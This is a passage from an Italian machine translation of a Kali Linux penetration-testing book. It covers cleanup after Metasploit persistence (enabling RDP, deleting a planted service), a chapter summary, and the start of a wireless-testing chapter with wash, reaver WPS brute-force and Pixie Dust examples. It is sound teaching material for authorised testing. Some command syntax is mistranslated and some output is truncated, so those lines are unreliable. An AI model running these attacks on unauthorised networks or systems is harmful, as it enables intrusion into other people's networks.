Pulizia
Uno dei problemi con alcuni meccanismi di persistenza è che possono
essere identificati. Guardando un elenco di servizi, ad esempio, puoi
vedere molto chiaramente quello della Figura 6-1 . Certo, questo perché
sono stati utilizzati valori casuali. Tuttavia, anche se il nome non è ovvio
come un set di caratteri casuali, gli amministratori di sistema astuti
noteranno servizi inaspettati. Ripulire dopo di sé, soprattutto se hai
bisogno di accedere solo per un breve periodo di tempo, può essere un
compito importante. Fortunatamente, poiché abbiamo accesso, possiamo
ripulire dopo di noi quando necessario.
In alcuni casi, quando esegui un'attività per la persistenza, Metasploit
creerà uno script di risorse per annullare ciò che hai fatto. L'esempio 6-26
mostra l'abilitazione del servizio Remote Desktop Protocol (RDP) su un
sistema Windows. Una volta avviato il servizio e apportate le opportune
modifiche al firewall, c'è un riferimento a un file che contiene i comandi da
eseguire per annullare le modifiche apportate.
Esempio 6-26. Script di pulizia
msf6 exploit(multi/handler) > usa post/windows/ma
msf6 post(windows/manage/enable_rdp) > imposta la
sessione => 1 msf6
post(windows/manage/enable_rdp) > esegui
[*] Abilitazione del desktop remoto
[*]
RDP è già abilitato
[*] Impostazione del mod di avvio del servizio
Servizi terminal
[*]
Il servizio Servizi terminal non è impostato
[*]
Apertura della porta nel firewall locale se
necessario
[*] Per la pulizia eseguire il file di risorse
Meterpreter
/root/.msf4/loot/20230914192003_default_192.168.
[*] Completata l'esecuzione del modulo post
Nei casi in cui non hai uno script di risorse creato, potresti comunque
essere in grado di rimuovere facilmente il servizio. L'esempio 6-27 mostra il
processo per individuare un servizio elencando tutti i servizi sul sistema.
Per prima cosa, ottieni una shell di sistema, quindi puoi eseguire sc queryex
type= service state= all per ottenere l'elenco di tutti i servizi. Dovrai cercare
il nome del servizio che potrebbe essere utilizzato, se non lo ricordi. Di
nuovo, una stringa casuale di caratteri risalterà se non te ne sei accorto.
Una volta identificato il nome del servizio, puoi eliminarlo con sc delete
<service_name> .
Esempio 6-27. Pulizia del servizio
meterpreter > shell
Processo 5212 creato.
Creato il canale 2.
Microsoft Windows [Versione 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Tutti i
diritti riservati.
C:\Windows\system32>sc queryex tipo= servizio
stat sc queryex tipo= servizio stato= tutti
NOME_SERVIZIO: maRFnN
NOME_DISPLAY: vkaxJjtynxBbVIT
TIPO : 110 WIN32_OWN_PROCE
STATO: 4 IN CORSA
(ARRESTABILIZZABILE, NON_P
CODICE_DI_USCITA_WIN32: 0 (0x0)
CODICE_USCITA_SERVIZIO : 0 (0x0)
CHECKPOINT
WAIT_HINT
: 0x0
: 0x0
PID
FLAGS
: 5516
:
C:\Windows\system32>sc delete maRFnN
sc delete maRFnN
[SC] DeleteService SUCCESS
Diversi tipi di attività richiederanno diversi livelli di pulizia. Puoi eliminare i
file se Metasploit non ha eseguito la propria pulizia, cosa che può accadere
in molti casi. Puoi eliminare i servizi se necessario. Pulire dopo di te è
sempre una buona idea. Tieni traccia dell'impatto che hai avuto sul sistema
di destinazione, poiché gli exploit possono lasciare molti artefatti. Una
volta terminato, prenditi cura del sistema in modo che il tuo client non
debba pulire per te.
Riepilogo
Sebbene Metasploit sia un framework di sviluppo exploit, ha anche molte
capacità integrate. Puoi fare molto dall'interno di Metasploit senza dover
usare strumenti esterni. Potrebbe volerci del tempo per abituarsi a tutto
ciò che è disponibile in Metasploit, ma il tempo investito ne vale la pena.
Ecco alcune idee chiave da trarre da questo capitolo:
Metasploit dispone di moduli che possono essere utilizzati per la
scansione degli obiettivi, ma è anche possibile chiamare nmap
direttamente da Metasploit utilizzando db_nmap .
Metasploit mantiene informazioni su servizi, host, bottino e altri artefatti
in un database che può essere interrogato. I moduli Metasploit possono
essere usati per scansionare ed exploitare sistemi, ma dovrai impostare
obiettivi e opzioni.
La shell Meterpreter può essere utilizzata per interagire con il sistema
sfruttato mediante comandi indipendenti dal sistema operativo.
l'hashdump di Meterpreter che il modulo mimikatz possono essere
utilizzati per recuperare le password.
Meterpreter può essere utilizzato per caricare file, compresi programmi
da eseguire sul sistema remoto.
Sia i moduli integrati che le vulnerabilità esterne a Metasploit possono
essere utilizzati per aumentare i privilegi.
Grazie alla capacità di Meterpreter di impostare percorsi attraverso le
sessioni create, è possibile passare ad altre reti.
L'iniezione di codice shell nei processi in esecuzione e l'utilizzo di moduli
post-exploitation possono creare backdoor.
Kali offre numerosi metodi per ricercare vulnerabilità ed exploit, tra cui
searchsploit .
Risorse utili
Corso gratuito di hacking etico di Offensive Security, "Metasploit
“Scatenato”
“Penetration Testing con Metasploit” di Ric Messier
Video Framework” , pubblicato da Infinite Skills, 2016
“PowerShell offensivo con Metasploit Meterpreter”, del SANS Institute
Capitolo 7. Test di sicurezza wireless
Non è raro che i dispositivi di elaborazione non abbiano connettori cablati.
I jack RJ45 a 8 fili utilizzati per Ethernet cablata sono scomparsi perché il
fattore di forma del jack era semplicemente troppo grande per essere
ospitato nei moderni design stretti dei laptop, ad esempio. Ai vecchi tempi,
quando ci affidavamo alle schede PCMCIA per estendere le capacità dei
nostri laptop, le schede avevano connettori click-out che potevano
accettare i cavi Ethernet. Il problema era che erano solitamente sottili e
facili da spezzare. I computer desktop, ovviamente, se ne hai ancora uno,
avranno generalmente il jack RJ45 per il tuo cavo Ethernet, ma sempre più
spesso anche quelli hanno la possibilità di fare WiFi direttamente sulla
scheda madre.
Tutto questo per dire che il futuro è nel wireless in una forma o nell'altra.
La tua auto e il tuo telefono parlano in modalità wireless. La tua auto
potrebbe persino parlare in modalità wireless con la tua rete domestica. Le
Tesla, ad esempio, richiedono una connessione WiFi per scaricare gli ultimi
aggiornamenti software. Termostati, serrature, televisori, lampadine,
tostapane, frigoriferi, pentole a cottura lenta, e così via: le versioni di tutti
questi prodotti probabilmente hanno una qualche capacità wireless. Ecco
perché i test wireless sono così importanti e perché un discreto numero di
strumenti coprirà una gamma di protocolli wireless. Nel corso di questo
capitolo, tratteremo i protocolli wireless supportati da Kali Linux con
strumenti di test. Tieni presente che il libro tratta gli strumenti disponibili
in Kali Linux, ma potresti riscontrare problemi nell'eseguire test wireless se
utilizzi macchine virtuali o anche alcune interfacce wireless.
La portata del wireless
Il problema con il termine wireless è che copre troppo terreno. Non tutti i
wireless sono creati uguali, per così dire. Numerosi protocolli sono wireless
per natura. Anche all'interno dello spettro dei telefoni cellulari, esistono
diversi protocolli. Ecco perché a volte i telefoni non possono essere
trasferiti tra reti di operatori. Si tratta meno di una sorta di firma associata
al telefono che di un telefono che comunica su un set di frequenze
utilizzando un protocollo, quando la rete utilizza un set di frequenze e un
protocollo diversi. Questo è solo l'inizio dei nostri problemi. Diamo
un'occhiata ai vari protocolli comunemente utilizzati con i dispositivi
informatici per la comunicazione. Salteremo Code Division Multiple Access
(CDMA) e Global System for Mobiles (GSM). Mentre i tuoi smartphone e
tablet li utilizzano per comunicare con le reti di operatori, sono in realtà
protocolli di operatori e non protocolli utilizzati per la comunicazione
diretta tra sistemi.
802.11
Il protocollo più comune che incontrerai è in realtà un set di protocolli.
Probabilmente lo conosci come WiFi o forse anche solo wireless . In realtà,
è un set di protocolli gestiti dall'Institute of Electrical and Electronics
Engineers (IEEE, comunemente chiamato I Triplicare E ). L'IEEE gestisce gli
standard, anche se non è l'unica organizzazione a farlo. Capita, tuttavia,
che l'IEEE abbia creato e mantenga gli standard relativi alle reti locali
wireless (WLAN). Questo standard è denominato collettivamente 802.11 .
802.11 ha specifiche che coprono diversi spettri di frequenza e, insieme a
loro, diverse capacità di throughput. Questi sono comunemente
denominati con lettere dopo 802.11. Uno dei primi è stato 802.11a,
seguito da 802.11b. Attualmente, la specifica di rilascio è 802.11ac,
sebbene le specifiche fino a 802.11ay siano in fase di sviluppo. In definitiva,
il throughput è limitato dalle gamme di frequenza in uso, sebbene le
versioni successive di 802.11 abbiano utilizzato più canali di comunicazione
contemporaneamente per aumentare il throughput.
NOTA
802.11 è comunemente chiamato WiFi , sebbene WiFi sia un marchio registrato della Wi-Fi Alliance, un
gruppo di aziende coinvolte nelle reti wireless. WiFi è solo un altro modo di riferirsi agli standard di
rete wireless IEEE e non è separato da essi.
802.11 è un set di specifiche per il livello fisico, che include MAC. Abbiamo
ancora bisogno di un protocollo di collegamento dati. Ethernet, un
protocollo di collegamento dati comune che specifica anche elementi fisici
e MAC, è stratificato sopra 802.11 per fornire comunicazioni da sistema a
sistema su una rete locale.
Una delle prime sfide con 802.11 è che i segnali wireless non sono limitati
fisicamente. Pensate all'ascolto delle stazioni radio, poiché è di questo che
stiamo parlando qui: onde radio, solo a un diverso set di frequenze.
Quando ascoltate le stazioni radio, non importa se siete dentro o fuori; il
segnale passa attraverso muri, soffitti e pavimenti, così potete captarlo con
il vostro ricevitore. Abbiamo la stessa sfida con i segnali radio che vengono
utilizzati per le WLAN.
Attraverseranno muri, pavimenti, finestre e soffitti.
Poiché le nostre reti LAN contengono informazioni sensibili, questo
rappresenta un problema.
Nel mondo cablato, eravamo in grado di controllare il flusso di informazioni
con restrizioni fisiche. Per accedere a una LAN, qualcuno doveva essere
collegato, nell'edificio e vicino a una presa Ethernet. Questo non era più il
caso con una WLAN. Tutto ciò che qualcuno doveva fare era trovarsi nel
raggio d'azione del segnale. Potresti rimanere sorpreso da quanto lontano
arriva un segnale wireless, nonostante a volte ti senta come se dovessi
essere nella stanza giusta della tua casa per riceverlo correttamente . Puoi
farti un'idea semplicemente ottenendo un elenco di reti wireless dal tuo
sistema operativo quando provi a unirti a una rete. Anche se ti trovi in
un'area con lotti di mezzo acro o lotti di un acro, otterrai comunque più reti
wireless. Se vivi in un'area più densamente popolata, ne otterrai decine o
più.
Arriva Wired Equivalent Privacy (WEP), pensato per rispondere alle
preoccupazioni sui dati aziendali sensibili che lasciano il controllo
dell'azienda. A quanto pare, il primo tentativo di proteggere i dati
trasmessi via wireless tramite crittografia è stato pessimo.
Da allora ci sono stati altri tentativi, e quello attuale è Wireless Protected
Access (WPA) versione 3, che è stato sviluppato per risolvere le carenze
della versione precedente, che a sua volta è stata sviluppata per risolvere
le carenze della prima versione. Tutto questo per dire che il WiFi,
nonostante la sua prevalenza, non è immune da compromessi e
vulnerabilità, motivo per cui è importante testare le reti WiFi.
Bluetooth
Non tutte le comunicazioni sono pensate per collegare più sistemi insieme.
Infatti, la maggior parte delle tue comunicazioni avviene probabilmente tra
il tuo sistema e le tue periferiche, che si tratti della tastiera, del trackpad,
del mouse o del monitor. Nessuna di queste è pensata per essere in rete;
tutte sono nate come dispositivi cablati e sono tutte costantemente in
comunicazione. Per eliminare il più possibile i cavi, considerando che le reti
erano wireless, liberandoci dalla necessità di avere un altro cavo che ci
legasse in un posto, è stato sviluppato un protocollo wireless nei primi anni
'90. Questo protocollo è stato sviluppato dal produttore di dispositivi
mobili Ericsson e ha utilizzato un set di larghezza di banda simile a quello
utilizzato in seguito da 802.11.
Oggi, lo conosciamo come Bluetooth , e viene utilizzato per connettere una
varietà di periferiche. Lo fa utilizzando profili che definiscono la
funzionalità offerta dal dispositivo. Il Bluetooth viene utilizzato per
trasmissioni a corto raggio, in genere nell'ordine di circa 30 piedi. Tuttavia,
considerando quali dispositivi utilizzano il Bluetooth e la loro necessità di
prossimità (non ci si aspetterebbe di utilizzare una tastiera da una stanza
diversa, ad esempio), questa non è esattamente una limitazione. La sfida è
rappresentata dalla potenza applicata al trasmettitore wireless. Maggiore è
la potenza applicata, più lontano possiamo ottenere il segnale, quindi 30
piedi non è il massimo; è solo una distanza comune.
Un problema con il Bluetooth è che i dispositivi che lo utilizzano possono
essere facilmente individuati da chiunque sia interessato a sondarli. I
dispositivi in genere devono associarsi, ovvero scambiano informazioni
iniziali solo per impedire a due dispositivi qualsiasi di connettersi
casualmente. Tuttavia, l'associazione può a volte essere un processo
semplice ottenuto chiedendo a un dispositivo di associarsi. Ciò viene fatto
per supportare dispositivi come gli auricolari che non hanno la capacità di
accettare input dall'utente per immettere una chiave di associazione. Tutto
questo per dire che potrebbero esserci dispositivi Bluetooth a cui gli
aggressori possono connettersi e associarsi per estrarre informazioni.
Eseguiamo test Bluetooth per scoprire dispositivi che non sono
opportunamente bloccati per impedire connessioni non autorizzate che
potrebbero causare la perdita di informazioni sensibili. Queste connessioni
non autorizzate potrebbero anche fornire a un aggressore un modo per
controllare altri dispositivi, portando a un punto d'appoggio all'interno
della rete.
Zigbee
Zigbee è un protocollo che esiste in teoria da più di un paio di decenni,
sebbene il protocollo stesso sia stato ratificato nel 2004. Di recente, Zigbee
ha visto un forte aumento nelle implementazioni. Il motivo è che Zigbee è
stato sviluppato come protocollo di rete personale e l'intero movimento
della casa intelligente ha utilizzato questo protocollo semplice, a basso
consumo e a basso costo per consentire la comunicazione in tutta la casa,
tra dispositivi. Lo scopo di Zigbee è quello di offrire un modo per i
dispositivi che non hanno molta potenza, forse perché sono alimentati a
batteria e non inviano molti dati, di comunicare.
Man mano che diventano disponibili più dispositivi che utilizzano Zigbee,
questi diventeranno sempre più bersagli di attacchi. Ciò è forse più vero
per gli utenti residenziali, poiché vengono introdotti sul mercato più
dispositivi per la casa intelligente. Tuttavia, è ancora una preoccupazione
per le aziende, perché l'automazione degli edifici è una realtà. Zigbee non
è l'unico protocollo in questo spazio, ovviamente. Z-Wave è un protocollo
correlato, sebbene non ci siano strumenti in Kali che possano testare ZWave. Lo stesso vale per il protocollo Thread più recente, che è basato su
IPv6 e supportato da aziende come Google, Apple, Yale e molte altre.
Sfortunatamente, non è possibile testare su dispositivi che utilizzano
Thread.
Attacchi WiFi e strumenti di test
È difficile esagerare, quindi lo ripeto: tutto è wireless. Il tuo computer, il tuo
tablet, il tuo smartphone, la tua televisione, le tue console di gioco, vari
elettrodomestici e persino gli apriporta del garage sono tutti wireless. In
questo contesto, intendo che sono wireless nel senso che supportano
802.11 in una delle sue incarnazioni. Tutto è connesso alla tua rete tramite
l'aria. Ciò rende i sistemi stessi potenzialmente vulnerabili ad attacchi o
compromessi e la prevalenza del WiFi espone anche i protocolli sottostanti
ad attacchi; poiché il segnale radio della tua rete wireless passa oltre le
mura della tua organizzazione, gli aggressori potrebbero essere in grado di
accedere alle tue informazioni. L'unico modo in cui possono farlo è
compromettere il protocollo in qualche modo.
In definitiva, l'obiettivo di attaccare le reti WiFi non è solo attaccare la rete;
è ottenere l'accesso a informazioni o sistemi. O entrambi. L'attacco al
protocollo consente all'attaccante di accedere alle informazioni trasmesse
attraverso la rete. Questo consente loro di ottenere le informazioni, come
le credenziali, che possono essere di per sé preziose, o l'accesso a un
sistema sulla rete. È molto importante tenere a mente l'obiettivo
dell'attaccante. Quando eseguiamo test, dobbiamo assicurarci di non
eseguire test solo per il gusto di farlo, anche se potrebbe essere divertente;
ci stiamo assicurando che i nostri obiettivi di test non siano esposti a
potenziali attacchi. L'obiettivo del test è migliorare la postura di sicurezza,
ricorda, e non solo rovesciare le cose.
Terminologia e funzionamento 802.11
Prima di iniziare con i vari attacchi, dovremmo rivedere la terminologia e il
funzionamento di 802.11. Innanzitutto, ci sono due tipi di reti 802.11: reti
ad hoc e reti infrastrutturali. In una rete ad hoc , i client si collegano
direttamente l'uno all'altro. Una rete ad hoc può comprendere più sistemi,
ma nessun dispositivo centrale media o reindirizza la comunicazione. Se c'è
un punto di accesso (AP) o una stazione base, la rete è considerata una rete
infrastrutturale . I dispositivi che si collegano tramite l'AP sono client o
stazioni. Gli AP invieranno messaggi via etere indicando la loro presenza.
Questo messaggio è chiamato beacon .
Per connettersi a una rete WiFi, le stazioni inviano prima un messaggio di
sondaggio per le reti wireless. Mentre i sistemi cablati utilizzano segnali
elettrici per comunicare, i sistemi wireless utilizzano comunicazioni radio, il
che significa che hanno trasmettitori e ricevitori. Il frame di sondaggio
viene inviato tramite il trasmettitore radio nel dispositivo. I punti di accesso
nelle vicinanze, che ricevono i sondaggi, rispondono con le loro
informazioni identificative. Il client, se richiesto dall'utente, tenterà di
associarsi all'AP. Ciò può includere una qualche forma di autenticazione.
L'autenticazione non implica necessariamente la crittografia, sebbene le
reti WiFi siano comunemente crittografate in qualche modo. Ciò può
essere vero o meno quando si tratta di reti pubbliche, come quelle nei
ristoranti, negli aeroporti e in altri spazi aperti.
NOTA
Un ambiente aziendale può avere diversi punti di accesso, tutti in condivisione dello stesso Service Set
Identifier (SSID). Gli attacchi contro la rete wireless saranno mirati a singoli dispositivi AP/radio, ma il
risultato finale, se ha successo, ti porterà sulla rete aziendale, indipendentemente dall'AP che stai
prendendo di mira.
Una volta che il client è stato autenticato e associato, inizierà a comunicare
con l'AP. Anche se i dispositivi comunicano con altri sulla stessa rete
wireless, tutte le comunicazioni passeranno comunque attraverso l'AP
anziché direttamente da peer a peer. Certamente, ci sono molti più dettagli
tecnici sulle reti 802.11, ma questo è sufficiente per i nostri scopi, per
preparare il terreno per discussioni successive.
Quando eseguiamo test sulla rete, spesso l'interfaccia di rete deve essere
messa in modalità promiscua per garantire che tutto il traffico venga
trasmesso attraverso l'interfaccia di rete e al sistema operativo. Quando si
tratta di WiFi, dobbiamo preoccuparci di un'altra funzionalità: la modalità
monitor . Questa indica all'interfaccia WiFi di inviare il traffico radio oltre ai
messaggi che normalmente vedresti. Ciò significa che potresti vedere
messaggi beacon e messaggi che associano e autenticano i client all'AP.
Questi sono tutti i messaggi del protocollo 802.11 che in genere si
verificano sulla radio e non vengono altrimenti visti. Per abilitare la
modalità monitor, se lo strumento che stai utilizzando non lo fa per te, puoi
usare airmon_ng start wlan0 , supponendo che il nome della tua
interfaccia sia wlan0 . Alcuni strumenti gestiranno l'impostazione della
modalità monitor per te.
Identificazione delle reti
Una delle sfide del WiFi è che per i sistemi che si collegano facilmente alla
rete, l'SSID viene comunemente trasmesso. Questo evita che le persone
debbano aggiungere manualmente la rete wireless fornendo l'SSID, anche
prima di dover inserire il codice di accesso o il nome utente e la password.
Tuttavia, la trasmissione dell'SSID aiuta anche gli aggressori a identificare le
reti wireless nelle vicinanze. In genere è facile. Tutto ciò che devi fare è
chiedere di connetterti a una rete wireless e ti verrà presentato un elenco
delle reti disponibili. La Figura 7-1 mostra un elenco delle reti wireless
disponibili mentre ero a una conferenza nel centro di Denver qualche anno
fa. È un elenco particolarmente valido, quindi ho conservato lo screenshot.
MANCIA
Gli aggressori possono usare la tecnologia mobile per identificare le reti wireless all'interno di un'area.
Questo processo è comunemente chiamato war driving .
Tuttavia, questa lista non ci presenta molto altro oltre all'SSID. Per ottenere
informazioni davvero utili di cui avremo bisogno per alcuni degli strumenti,
dobbiamo guardare qualcosa come Kismet. Potresti chiederti quali altri
dettagli ci servono. Uno di questi è il base station set identifier (BSSID).
Questo è diverso dall'SSID e sembra un indirizzo MAC. Uno dei motivi per
cui il BSSID è necessario è che un SSID può essere utilizzato su più punti di
accesso, quindi il SSID da solo non è sufficiente per indicare con chi sta
comunicando un client.
Figura 7-1. Elenco delle reti wireless
Prima di iniziare a usare strumenti WiFi specifici per analizzare le reti
wireless, diamo un'occhiata all'uso di Wireshark. In particolare, daremo
un'occhiata alle intestazioni radio che vengono inviate. Non vedresti nulla
di tutto ciò quando catturi il traffico normalmente, a meno che tu non
abiliti la modalità monitor sulla tua interfaccia wireless, cosa che puoi fare
con il comando sudo airmon-ng start wlan0 , sostituendo il nome della tua
interfaccia wireless se non è wlan0 . Una volta fatto ciò, vedrai tutto il
traffico radio che vede la tua interfaccia. Utilizzando Wireshark, possiamo
guardare le intestazioni che indicano dove
È stato annunciato l'SSID. Questo è chiamato beacon frame e Wireshark lo
chiamerà così nella colonna info. Puoi vedere le intestazioni rilevanti nella
Figura 7-2 . Questo mostra il nome dell'SSID come bellair3d . Sopra, vedrai
che il BSSID (mostrato come BSS Id) è diverso e viene presentato come un
indirizzo MAC, inclusa la traduzione dell'identificativo univoco organizzativo
( OUI ) in un ID fornitore.
Figura 7-2. Intestazioni radio in Wireshark
Il programma Kismet può essere utilizzato non solo per ottenere il BSSID di
una rete wireless, ma anche per enumerare le reti che stanno
trasmettendo. Queste informazioni includono anche gli SSID che non sono
nominati. Nella Figura 7-3 vedrai che un paio di SSID vengono visualizzati
come mascherati. Questo è il caso in cui un AP è stato configurato per non
trasmettere l'SSID affinché chiunque possa trovarlo. Quando viene inviata
una sonda alla ricerca di reti wireless, l'AP non risponderà con un nome
SSID. Tuttavia, otterrai il BSSID. Utilizzando il BSSID, saremo in grado di
comunicare con il dispositivo perché conosciamo l'identificazione dell'AP.
Puoi unirti alla rete, ma devi sapere qual è l'SSID anziché selezionarlo da un
elenco.
Quando esegui Kismet, potresti trovare SSID a cui sono associati più BSSID.
Un esempio potrebbe essere l' SSID xfinity , che è pubblicizzato da tutti gli
access point di proprietà di Xfinity. Poiché ci sono più BSSID, è possibile
unirsi a un singolo SSID e poi spostarsi tra un AP e l'altro mentre entrano
ed escono dal range. In definitiva, la comunicazione avviene tra la stazione
e il BSSID.
Figura 7-3. Kismet rileva le reti wireless
Tutte queste informazioni sono utili per ulteriori strategie di attacco.
Avremo bisogno di conoscere cose come il BSSID per eseguire attacchi,
poiché è così che sappiamo di parlare con il dispositivo giusto.
Attacchi WPS
Un modo per ottenere l'accesso a una rete WiFi, specialmente per coloro
che non vogliono avere a che fare con la seccatura di configurare il sistema
operativo inserendo password o passphrase, è usare WiFi-Protected Setup
(WPS). WPS può usare vari meccanismi per associare un client a un AP.
Questo potrebbe includere fornire un numero di identificazione personale
(PIN), usare una chiavetta USB o premere un pulsante sull'AP. Tuttavia, a
WPS sono associate delle vulnerabilità, che possono consentire a un
aggressore di ottenere l'accesso a reti a cui non dovrebbe avere accesso. Di
conseguenza, è utile cercare reti che potrebbero supportare WPS, poiché è
qualcosa che può essere disabilitato.
Lo strumento che inizieremo a esaminare è wash . Questo strumento ci
consente di sapere se WPS è abilitato su un AP. È semplice da usare. Lo si
esegue specificando un'interfaccia su cui effettuare la scansione o
fornendo un file di cattura da cercare. L'esempio 7-1 mostra un'esecuzione
di wash alla ricerca di reti nelle mie vicinanze che hanno WPS abilitato.
Si tratta di un'esecuzione semplice, anche se potremmo selezionare canali
specifici.
Noterai che l'interfaccia qui è wlan0mon , a indicare che airmon-ng è stato
utilizzato per impostare la modalità monitor sull'interfaccia wlan0 . La
modalità monitor significa che le intestazioni radio vengono inviate al
sistema operativo dall'interfaccia.
Esempio 7-1. Esecuzione di wash per identificare gli AP abilitati WPS
┌──(kilroy@portnoy)-[~]
└─$ sudo wash -i wlan0mon
BSSID Ch dBm WPS Lck Fornitore
----------------------------------------------AC:DB:48:6A:5A:80 1 -50 2,0 No LantiqML
AC:DB:48:8D:85:9E 1 -41 2,0 No LantiqML
BC:98:DF:FA:8F:CA 1 -24 2.0 Nessun Broadcom
AC:DB:48:6A:18:F9 1 -79 2,0 No LantiqML
9A:9D:5D:E1:06:D6 1 -68 2,0 No Broadcom
AC:DB:48:6D:C4:99 1 -81 2,0 No LantiqML
E0:70:EA:12:95:0F 1 -91 2,0 Sì
A8:97:CD:68:73:59 1 -91 2.0 Nessuna quantità
80:CC:9C:EE:71:F3 3 -128 2.0 Nessun Broadcom
40:ED:00:DAB:C4:C4 4 -128 2,0 No RalinkTe
A8:97:CD:73:07:53 6 -79 2.0 Nessuna quantità
AC:DB:48:8D:E9:6A 6 -79 2,0 No LantiqML
AC:DB:48:6A:4A:0B 6 -75 2,0 No LantiqML
AC:DB:48:8A:82:74 6 -76 2.0 Nessun LantiqML
A8:97:CD:73:07:A3 6 -58 2.0 Nessuna quantità
AC:DB:48:8B:E2:53 6 -76 2,0 No LantiqML
AC:DB:48:6B:A9:87 6 -62 2,0 No LantiqML
AC:DB:48:6C:21:E9 6 -67 2,0 No LantiqML
AC:DB:48:6C:3E:5B 6 -60 2,0 No LantiqML
A8:97:CD:67:D1:4B 6 -78 2.0 No
AC:DB:48:6A:4F:D8 6 -90 2.0 Nessun LantiqML
AC:DB:48:8A:A0:3B 6 -86 2,0 No LantiqML
38:94:ED:09:0D:54 9 -12 2.0 Nessun AtherosC
CE:9E:43:64:C9:E5 9 -17 2.0 Nessun AtherosC
D8:0D:17:BB:3C:5A 10 -07 2,0 Nessun AtherosC
AC:DB:48:6C:24:D5 11 -63 2.0 Nessun LantiqML
00:22:6B:99:65:B0 11 -13 1.0 Nessun Broadcom
AC:DB:48:8E:8A:1A 11 -78 2.0 Nessun LantiqML
Ora sappiamo di avere due dispositivi nelle vicinanze che supportano WPS
per l'autenticazione. Fortunatamente, entrambi questi dispositivi sono
miei, il che significa che sono libero di eseguire test su di essi. Ho il BSSID,
che mi serve per eseguire attacchi aggiuntivi. Daremo un'occhiata
all'utilizzo dello strumento reaver per tentare di ottenere l'accesso all'AP.
Questo sistema Kali non è associato a questa rete e AP. Nessuna
credenziale di autenticazione è stata passata tra Kali e questo AP. Quindi,
proveremo a utilizzare reaver per utilizzare WPS per ottenere l'accesso.
Questo è essenzialmente un attacco brute-force ed è facile da avviare.
Dobbiamo fornire l'interfaccia da utilizzare e anche il BSSID. Puoi vedere
l'inizio di un'esecuzione nell'Esempio 7-2 . Gli switch della riga di comando
utilizzati qui impostano il BSSID del punto di accesso, il canale utilizzato per
comunicare, l'interfaccia utilizzata e il livello di verbosità nella
messaggistica. Abbiamo anche detto a reaver di utilizzare la gamma di
frequenza di 5 GHz. Chiedere a Reaver di essere più dettagliato nel suo
output ci dice esattamente cosa sta facendo.
Esempio 7-2. Utilizzo di reaver per tentare l'autenticazione
┌──(kilroy@portnoy)-[~]
└─$ sudo reaver -i wlan0mon -b 40:ED:00:DB:C4:C4
Strumento di attacco WiFi Protected Setup Reaver
v1.6.6
Copyright (c) 2011, Soluzioni di rete tattiche, C
<cheffner@tacnetsol.com>
[+] Commutazione di wlan0mon sul canale 4
[+] In attesa del segnale da 40:ED:00:DB:C4:C4
[+] Ricevuto segnale da 40:ED:00:DB:C4:C4
[+] Fornitore: RalinkTe
[+] Prova pin "12345670"
[+] Invio richiesta di autenticazione
[+] Invio richiesta associazione
[+] Associato a 40:ED:00:DB:C4:C4 (ESSID: TP
[+] Invio richiesta EAPOL START
[+] Richiesta di identità ricevuta
[+] Invio della risposta di identità
[+] Ricevuto messaggio M1
[+] Sending M2 message
[+] Received deauth request
Utilizzare reaver per ottenere il PIN WPS può richiedere un numero ridicolo
di ore poiché utilizza un approccio di forza bruta e richiede che il punto di
accesso sia configurato per accettare un PIN. reaver non è l'unico
strumento di attacco che può essere utilizzato contro i dispositivi abilitati
WPS. reaver viene utilizzato online, ma se hai bisogno di ottenere il PIN
offline, potresti utilizzare l'attacco Pixie Dust. Questo attacco sfrutta la
mancanza di casualità nei valori utilizzati per impostare la crittografia che
passa tra l'AP e il client. Per acquisire il PIN utilizzando l'attacco Pixie Dust,
dovresti avere accesso a una connessione riuscita. Puoi utilizzare reaver
per eseguire un attacco Pixie Dust. L'esempio 7-3 mostra come eseguiresti
questo attacco.
Esempio 7-3. Utilizzo di Reaver per un attacco di polvere di fata
┌──(kilroy@portnoy)-[~]
└─$ sudo reaver -i wlan0mon -b 40:ED:00:DB:C4:C4
Strumento di attacco WiFi Protected Setup Reaver
v1.6.6
Copyright (c) 2011, Soluzioni di rete tattiche, C
<cheffner@tacnetsol.com>
[?] Ripristina la sessione precedente per
40:ED:00:DB:C4:C
[+] In attesa del segnale da 40:ED:00:DB:C4:C4
[+] Received beacon from 40:ED:00:DB:C4:C 4
[+] Vendor: RalinkTe
Automazione di più test
Non sorprende che sia possibile eseguire diversi attacchi contro le reti WiFi,
sebbene ogni attacco possa essere rimediato da correzioni in nuove
versioni di protocolli. Ciò aggiunge un po' di complessità. Inoltre, ci sono
diverse topologie WiFi. E le reti WiFi, poiché i dati vengono trasmessi
attraverso uno spazio condiviso (aria), sono crittografate. Esistono diversi
tipi di crittografia, il che comporta vari gradi di vulnerabilità. Ogni versione
di crittografia è stata sviluppata per risolvere i problemi con le versioni
precedenti. Ogni volta che viene sviluppata una correzione, qualcuno
escogita un modo per attaccarla. È una situazione comune con la sicurezza
informatica. Riparare qualcosa fa sì che qualcuno trovi un modo per
romperla, il che porta a un'altra correzione e così via. Insaponare,
risciacquare, ripetere.
Per risolvere i problemi di privacy con le reti wireless, è stato sviluppato
WEP per garantire che la trasmissione fosse crittografata. Senza
crittografia, chiunque avesse una radio WiFi avrebbe potuto ascoltare le
trasmissioni. Tutto ciò di cui avevano bisogno era di trovarsi in prossimità
del segnale, che poteva essere parcheggiato appena fuori dall'edificio.
WEP, tuttavia, aveva delle vulnerabilità. A causa della debolezza nel suo
vettore di inizializzazione, il valore utilizzato per inizializzare la chiave di
crittografia e quella chiave di crittografia potevano essere determinati,
consentendo la decrittografia del traffico. Di conseguenza, WPA è stato
sviluppato come successore di WEP. Anche questo aveva dei problemi, che
hanno portato a WPA2. Infine, siamo a WPA3 a causa dei problemi con
WPA2.
Poiché le persone spesso utilizzano vecchi schemi di crittografia, sono
vulnerabili ad attacchi che possono portare alla conversione del testo
cifrato in testo normale. In parte, ciò accade a causa di requisiti legacy.
Potrebbe esserci hardware che non può essere sostituito e che supporta
solo i vecchi meccanismi. Se hai una configurazione di rete funzionante,
perché cambiarla, dopotutto? Pertanto, vale la pena eseguire test su alcuni
di questi meccanismi.
Kali include un programma che può essere utilizzato per testare
automaticamente le reti WiFi utilizzando varie tecniche. wifite può testare
AP abilitati WPA, WEP e WPS. Mentre puoi testare ciascuno di questi in
modo specifico, puoi anche eseguire wifite senza alcun parametro e farlo
testare tutti questi meccanismi. La figura 7-4 mostra wifite in esecuzione.
Per funzionare, imposta l'interfaccia in modalità monitor. Ciò è necessario
per ottenere il traffico radio di cui ha bisogno per eseguire il test. Ciò che è
interessante di questa esecuzione, a parte uno degli SSID, è che tutti i
BSSID indicano che WPS non è abilitato, il che non è vero per almeno due
di essi.
NOTA
